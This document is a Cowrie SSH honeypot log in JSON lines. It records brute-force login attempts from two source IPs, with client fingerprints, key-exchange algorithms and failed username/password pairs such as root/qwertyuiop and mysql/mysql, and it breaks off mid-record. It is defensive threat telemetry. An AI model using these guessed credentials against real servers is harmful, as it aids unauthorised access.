{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.051253Z","src_ip":"87.251.79.125","session":"5ae36e649837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.135401Z","src_ip":"87.251.79.125","session":"5ae36e649837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53382,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c85871f41f0","protocol":"ssh","message":"New connection: 192.109.200.78:53382 (10.17.0.5:22) [session: 5c85871f41f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.263739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.268447Z","src_ip":"192.109.200.78","session":"5c85871f41f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.349827Z","src_ip":"192.109.200.78","session":"5c85871f41f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem199","message":"login attempt [root/artem199] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.359716Z","src_ip":"87.251.79.125","session":"5ae36e649837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.607811Z","src_ip":"192.109.200.78","session":"5c85871f41f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:26.430156Z","src_ip":"87.251.79.125","session":"5ae36e649837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:26.732031Z","src_ip":"192.109.200.78","session":"5c85871f41f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53400,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b184b370a0","protocol":"ssh","message":"New connection: 192.109.200.78:53400 (10.17.0.5:22) [session: a6b184b370a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:28.671133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:28.676786Z","src_ip":"192.109.200.78","session":"a6b184b370a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:28.765681Z","src_ip":"192.109.200.78","session":"a6b184b370a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:29.251836Z","src_ip":"192.109.200.78","session":"a6b184b370a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:30.336415Z","src_ip":"192.109.200.78","session":"a6b184b370a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c7d03dc8809","protocol":"ssh","message":"New connection: 192.109.200.78:48806 (10.17.0.5:22) [session: 0c7d03dc8809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:32.257075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:32.261698Z","src_ip":"192.109.200.78","session":"0c7d03dc8809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:32.343682Z","src_ip":"192.109.200.78","session":"0c7d03dc8809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:32.588386Z","src_ip":"192.109.200.78","session":"0c7d03dc8809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:33.673693Z","src_ip":"192.109.200.78","session":"0c7d03dc8809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48814,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c488670e6c3","protocol":"ssh","message":"New connection: 192.109.200.78:48814 (10.17.0.5:22) [session: 4c488670e6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:35.614181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:35.618738Z","src_ip":"192.109.200.78","session":"4c488670e6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:35.703082Z","src_ip":"192.109.200.78","session":"4c488670e6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:35.947371Z","src_ip":"192.109.200.78","session":"4c488670e6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:37.031464Z","src_ip":"192.109.200.78","session":"4c488670e6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48818,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0b9dd4154e","protocol":"ssh","message":"New connection: 192.109.200.78:48818 (10.17.0.5:22) [session: bf0b9dd4154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:39.304590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:39.309833Z","src_ip":"192.109.200.78","session":"bf0b9dd4154e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:39.393240Z","src_ip":"192.109.200.78","session":"bf0b9dd4154e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:39.638183Z","src_ip":"192.109.200.78","session":"bf0b9dd4154e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:40.722506Z","src_ip":"192.109.200.78","session":"bf0b9dd4154e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51000,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c5ecad24ef","protocol":"ssh","message":"New connection: 192.109.200.78:51000 (10.17.0.5:22) [session: 42c5ecad24ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:42.741472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:42.751170Z","src_ip":"192.109.200.78","session":"42c5ecad24ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:42.832376Z","src_ip":"192.109.200.78","session":"42c5ecad24ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:43.083616Z","src_ip":"192.109.200.78","session":"42c5ecad24ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:44.170748Z","src_ip":"192.109.200.78","session":"42c5ecad24ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51010,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf9516c6fb45","protocol":"ssh","message":"New connection: 192.109.200.78:51010 (10.17.0.5:22) [session: bf9516c6fb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:45.987994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:46.183043Z","src_ip":"192.109.200.78","session":"bf9516c6fb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:46.186404Z","src_ip":"192.109.200.78","session":"bf9516c6fb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:46.536114Z","src_ip":"192.109.200.78","session":"bf9516c6fb45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:47.619862Z","src_ip":"192.109.200.78","session":"bf9516c6fb45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce324e49e24","protocol":"ssh","message":"New connection: 192.109.200.78:51032 (10.17.0.5:22) [session: bce324e49e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:49.589895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:49.596097Z","src_ip":"192.109.200.78","session":"bce324e49e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20